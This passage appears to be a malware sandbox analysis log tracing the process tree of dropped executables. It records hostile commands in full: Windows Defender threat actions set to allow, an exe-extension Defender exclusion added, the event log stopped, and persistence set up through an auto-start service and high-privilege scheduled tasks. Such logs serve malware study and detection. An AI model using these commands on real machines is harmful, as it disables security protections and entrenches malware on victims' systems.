    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:6836
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:6972
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:7000
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "CIFUBVHI"
    3⤵
    - Launches sc.exe
    PID:7084
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2336
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:6188
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "CIFUBVHI"
    3⤵
    - Launches sc.exe
    PID:6164
- C:\Users\Admin\Documents\SimpleAdobe\_IkhE8kg8imyNZJTaxRN8zjT.exe
  C:\Users\Admin\Documents\SimpleAdobe\_IkhE8kg8imyNZJTaxRN8zjT.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:6036
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6256
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:6572
  - - C:\ProgramData\KECBKKEBKE.exe
      "C:\ProgramData\KECBKKEBKE.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of SetWindowsHookEx
      PID:6476
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:7032
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6476 -s 320
        5⤵
        Program crash
        
        PID:4792
  - - C:\ProgramData\BFBGHDGCFH.exe
      "C:\ProgramData\BFBGHDGCFH.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of SetWindowsHookEx
      PID:5996
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4880
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5996 -s 288
        5⤵
        Program crash
        
        PID:5252
  - - C:\ProgramData\IIEHJEHDBG.exe
      "C:\ProgramData\IIEHJEHDBG.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of SetWindowsHookEx
      PID:2856
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:4604
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:3336
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1216
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2856 -s 328
        5⤵
        Program crash
        
        PID:664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JJKEBGHJKFID" & exit
      4⤵
      PID:5060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        Delays execution with timeout.exe
        
        PID:928
- C:\Users\Admin\Documents\SimpleAdobe\g05IeRY2k6h_YU1jQKYI42Os.exe
  C:\Users\Admin\Documents\SimpleAdobe\g05IeRY2k6h_YU1jQKYI42Os.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:6056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7104
- C:\Users\Admin\Documents\SimpleAdobe\eRYSJ5alIHUeFEI0CjvmJSzf.exe
  C:\Users\Admin\Documents\SimpleAdobe\eRYSJ5alIHUeFEI0CjvmJSzf.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6064
- - C:\Users\Admin\AppData\Local\Temp\7zS236A.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:6716
  - - C:\Users\Admin\AppData\Local\Temp\7zS2DFA.tmp\Install.exe
      .\Install.exe /JudidKE "525403" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      Suspicious use of SetWindowsHookEx
      PID:7120
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:496
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:4880
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:2792
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:6140
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:5228
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:5268
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:6048
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:6108
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:1612
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:5940
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:5744
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:6148
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:6168
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:6184
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:6204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6216
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:6840
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:6624
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:6560
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6828
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5280
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bjeWJKrHnPpdAGCduF" /SC once /ST 16:34:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS2DFA.tmp\Install.exe\" bC /ReDdidT 525403 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:5640
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7120 -s 1320
        5⤵
        Program crash
        
        PID:6500
- C:\Users\Admin\Documents\SimpleAdobe\Ji3_yXHZks9YYsB3F_VelBMi.exe
  C:\Users\Admin\Documents\SimpleAdobe\Ji3_yXHZks9YYsB3F_VelBMi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:6136
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6560
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1152

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:7004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6476 -ip 6476
1⤵
PID:4140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5996 -ip 5996
1⤵
PID:6032

C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2644
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:724
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:3972
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4248
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:468
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2636
- - C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
    "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3944
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:5012
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:1164
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2152
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4140
  - - C:\Windows\system32\svchost.exe
      svchost.exe
      4⤵
      PID:2792
- - C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
    "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5356
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:332
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:488
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:1296
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1764
  - - C:\Windows\system32\svchost.exe
      svchost.exe
      4⤵
      PID:2688
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:3000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2856 -ip 2856
1⤵
PID:4220

C:\Users\Admin\AppData\Local\Temp\7zS2DFA.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS2DFA.tmp\Install.exe bC /ReDdidT 525403 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:7140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3988
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6644
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6896
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1260
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:6980
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:688
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5988
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:3912
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:6648
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5348
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5744
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4376
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:6160
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1740
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6332
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3500
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:6904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3152
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2504
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2608
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2308
